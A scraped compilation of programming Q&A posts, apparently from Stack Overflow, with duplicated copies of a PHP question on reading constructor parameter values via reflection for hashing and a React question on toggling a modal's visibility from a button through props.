    $parameters = [];
    $constructor = $ref->getConstructor();
    $params = $constructor->getParameters();

    foreach ($params as $param) {
        $name = $param->getName();
        $parameters[$name] = (string) $this->{$name};
    }

    return $parameters;
}
</code>```

Output this

```<code>array:2 [
   "month" => "11"
   "year" => "2017"
];
</code>```

Body:
Can I somehow get the values of the constructor parameters from another class method without passing them directly?

I tried to use the methods \ReflectionClass but could only get the names of attributes. How can I get parameter names with their values?

Counts, types, values, and names of parameters are not known in advance.

<?php
class Report extends AbstractReport
{
    public function __construct($month, $year)
    {
        $this->month = $month;
        $this->year = $year;
    }
}

class Report2 extends AbstractReport
{
    public function __construct($day, $month, $year, $type = null)
    {
        $this->day = $day;
        $this->month = $month;
        $this->year = $year;
        $this->type = $type;
    }
}

class AbstractReport
{
    /**
     * Return contructor parameters array
     * @return array
     */
    public function getParameters()
    {
        $ref = new \ReflectionClass($this);
        if (! $ref->isInstantiable()) {
            return [];
        }
        else {
            $constructor = $ref->getConstructor();
            return $constructor->getParameters();
        }
    }

    public function getHash()
    {
        return md5(serialize($this->getParameters()));
    }
}

In the end, I need to get different unique values for all hashes

$report = new Report(10, 2017);
$hash1 = $report->getHash();

$report = new Report2(18, 10, 2017, 'foo');
$hash2 = $report->getHash();

$report = new Report2(01, 02, 2017, 'bar');
$hash3 = $report->getHash();

Ie the hash must be different for all options

 return $hash1 != $hash2 && $hash2 != $hash3 && $hash1 != $hash3;

Any ideas or help, thank you in advance

Body:
Solution.
I just had to rewrite the method

/**
 * Return constructor parameters as array
 *
 * @return array
 */
protected function getParameters()
{
    $ref = new ReflectionClass($this);
    if (! $ref->isInstantiable()) {
        return [];
    }

    $parameters = [];
    $constructor = $ref->getConstructor();
    $params = $constructor->getParameters();

    foreach ($params as $param) {
        $name = $param->getName();
        $parameters[$name] = (string) $this->{$name};
    }

    return $parameters;
}

Output this

array:2 [
   "month" => "11"
   "year" => "2017"
];


问:
perform onclick event in reactjs
I am trying to make an application using reactjs.below is the code which present in my main app.js:

```<code>class App extends Component {
    return (
        <div>
            <ExampleTable
                header={() => <TopBar/>}
            />
            <AddExampleModal/>
            <ChartModal/>
            <CompatibilityAlert/>
        </div>
    )
  }
}
</code>```

where Top Bat,AddExampleModal , ChartModal and CompatibilityAlert are loaded from other js files.

Chartmodal contains:

```<code>class ChartModal extends Component{
constructor(props){
    super(props)
}

render(){
    return(
        <Modal
            onOk={()=>console.log('ok')}
            onCancel={()=>console.log('cancel')}
            visible={true}
            okText={'ok'}
            cancelText={'cancel'}
            confirmLoading={false}
            title="Intent distribution chart"
        >
            <h1>HOWDY</h1>
            <TreeMap
                data={chartData}
                width={400}
                valueUnit={'count'}
            />
        </Modal>
    )
  }
}
</code>```

Topbar contains :

```<code>class TopBar extends Component {
    render{
            return (
            <Button
                style={styles.button}
                type='primary'
               // onClick={() => changechartshow()}
            >
                Show Graph
            </Button>
           )
         }
      }
</code>```

The thing is that in the app file,i want to toggle the visibility of chartmodal using the button in the topbar.

答:
App

```<code>class App extends Component {

    constructor() {
        this.state = {
          isVisible: true
        }
    }

    toggleVisibility = () => this.setState({isVisible: !this.state.isVisible})
    render () {

        const {isVisible} = this.state;
        return (
            <div>
                <ExampleTable
                    header={() => <TopBar toggleVisibility =
                                {this.toggleVisibility.bind(this)}
                          />}
                <AddExampleModal/>
                <ChartModal isVisible={isVisible}/>
                <CompatibilityAlert/>
            </div>
        );
    }
}
</code>```

TopBar

```<code>class TopBar extends Component {
    render{
        return (
        <Button
            style={styles.button}
            type='primary'
            onClick={() => this.props.toggleVisibility()}
        >
            Show Graph
        </Button>
       )
     }
  }
</code>```

ChartModal - Pass the state to visible attribute

```<code>class ChartModal extends Component{
constructor(props){
    super(props)
}

render(){
    return(
        <Modal
            onOk={()=>console.log('ok')}
            onCancel={()=>console.log('cancel')}
            visible={this.props.isVisible}
            okText={'ok'}
            cancelText={'cancel'}
            confirmLoading={false}
            title="Intent distribution chart"
        >
            <h1>HOWDY</h1>
            <TreeMap
                data={chartData}
                width={400}
                valueUnit={'count'}
            />
        </Modal>
    )
  }
}
</code>```

Title: perform onclick event in reactjs

Body:
I am trying to make an application using reactjs.below is the code which present in my main app.js:

class App extends Component {
    return (

            <ExampleTable
                header={() => <TopBar/>}
            />
            <AddExampleModal/>
            <ChartModal/>
            <CompatibilityAlert/>

    )
  }
}

where Top Bat,AddExampleModal , ChartModal and CompatibilityAlert are loaded from other js files.

Chartmodal contains:

class ChartModal extends Component{
constructor(props){
    super(props)
}

render(){
    return(
        <Modal
            onOk={()=>console.log('ok')}
            onCancel={()=>console.log('cancel')}
            visible={true}
            okText={'ok'}
            cancelText={'cancel'}
            confirmLoading={false}
            title="Intent distribution chart"
        >

HOWDY

            <TreeMap
                data={chartData}
                width={400}
                valueUnit={'count'}
            />
        </Modal>
    )
  }
}

Topbar contains :

class TopBar extends Component {
    render{
            return (
            <Button
                style={styles.button}
                type='primary'
               // onClick={() => changechartshow()}
            >
                Show Graph
            </Button>
           )
         }
      }

The thing is that in the app file,i want to toggle the visibility of chartmodal using the button in the topbar.

Body:
App

class App extends Component {

    constructor() {
        this.state = {
          isVisible: true
        }
    }

    toggleVisibility = () => this.setState({isVisible: !this.state.isVisible})
    render () {

        const {isVisible} = this.state;
        return (
            <div>
                <ExampleTable
                    header={() => <TopBar toggleVisibility =
                                {this.toggleVisibility.bind(this)}
                          />}
                <AddExampleModal/>
                <ChartModal isVisible={isVisible}/>
                <CompatibilityAlert/>
            </div>
        );
    }
}

TopBar

class TopBar extends Component {
    render{
        return (
        <Button
            style={styles.button}
            type='primary'
            onClick={() => this.props.toggleVisibility()}
        >
            Show Graph
        </Button>
       )
     }
  }

ChartModal - Pass the state to visible attribute

class ChartModal extends Component{
constructor(props){
    super(props)
}

render(){
    return(
        <Modal
            onOk={()=>console.log('ok')}
            onCancel={()=>console.log('cancel')}
            visible={this.props.isVisible}
            okText={'ok'}
            cancelText={'cancel'}
            confirmLoading={false}
            title="Intent distribution chart"
        >
            <h1>HOWDY</h1>
            <TreeMap
                data={chartData}
                width={400}
                valueUnit={'count'}
            />
        </Modal>
    )
  }
}